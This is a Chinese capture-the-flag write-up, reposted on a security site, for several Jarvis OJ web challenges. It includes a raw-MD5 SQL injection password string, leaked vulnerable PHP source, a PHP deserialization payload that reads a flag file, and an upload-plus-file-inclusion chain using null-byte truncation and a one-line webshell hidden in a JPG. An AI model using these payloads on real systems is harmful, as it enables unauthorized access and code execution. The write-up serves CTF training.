Jarvis OJ Writeup

admin 2024年8月17日15:12:40评论10 views字数 2084阅读6分56秒阅读模式

PORT 51

➜  ~ sudo curl --local-port 51 http://web.jarvisoj.com:32770/
<!DOCTYPE html>
<html>
<head>
<title>Web 100</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>
<body>
<h3>Yeah!! Here's your flag:PCTF{}</h3>
</body>
</html>

Login

md5

header 头里面发现 hint: “select * from `admin` where password=’”.md5($pass,true).”‘“

md5 ( string $str [, bool $raw_output = FALSE ] ) : string
// raw 为 TRUE 时为 16 字符二进制格式,默认为 false 32 字符十六进制数

搜索一下,发现有个牛逼的字符串: ffifdyop

https://joychou.org/web/SQL-injection-with-raw-MD5-hashes.html

http://www.am0s.com/functions/204.html

传入之后,最终的 sql 语句变为 select * from admin where password=’’or’6�]��!r,��b’

成功闭合,得到万能密码,登录即可。

神盾局的秘密

反序列化

通过 /showimg.php?img=c2hvd2ltZy5waHA= 可读取源码

// showing.php
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE
&& stripos($f,'\\')===FALSE&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>

// index.php
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>

// shield.php
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

构造利用的 pop 链即可,payload

/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

inject

有反引号的注入

详见 https://wywwzjj.top/2019/02/26/Jarvis-OJ-inject/

upload + lfi

扫了一遍目录,没发现什么文件,尝试 filter 读源码,也失败了

主题界面是一个图片上传,再加一个展示界面

配置信息给的这么清晰,有点可疑,然而并没有找到什么有用的洞

Apache/2.4.18 (Unix) OpenSSL/1.0.2h PHP/5.6.21 mod_perl/2.0.8-dev Perl/v5.16.3

Warning: fopen(submi.php): failed to open stream: No such file or directory in /opt/lampp/htdocs/index.php on line 24

按理说是可以文件包含,php://filter/read=convert.base64-encode/resource=index

然而显示 Cross domain forbidden!,估计是加了啥子 waf,此路不通

fopen() 时应该是拼接了一个 “.php”,这里可以用 %00 绕过

fopen(index.jj): failed to open stream 绕过成功

图片只能上传 jpg ,所以直接抓包在后面再个一句话,然后用 fopen() 去包含

但是,注意是但是,这里有个坑,不能用 <?php,有 waf,要用

然后 page=uploads/1552805580.jpg%00 自动出 flag,都不需要菜刀

这题出的太过死板, 是可以的,居然没任何回显,专考

FROM:wywwzjj

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月17日15:12:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Jarvis OJ Writeuphttps://cn-sec.com/archives/3075383.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息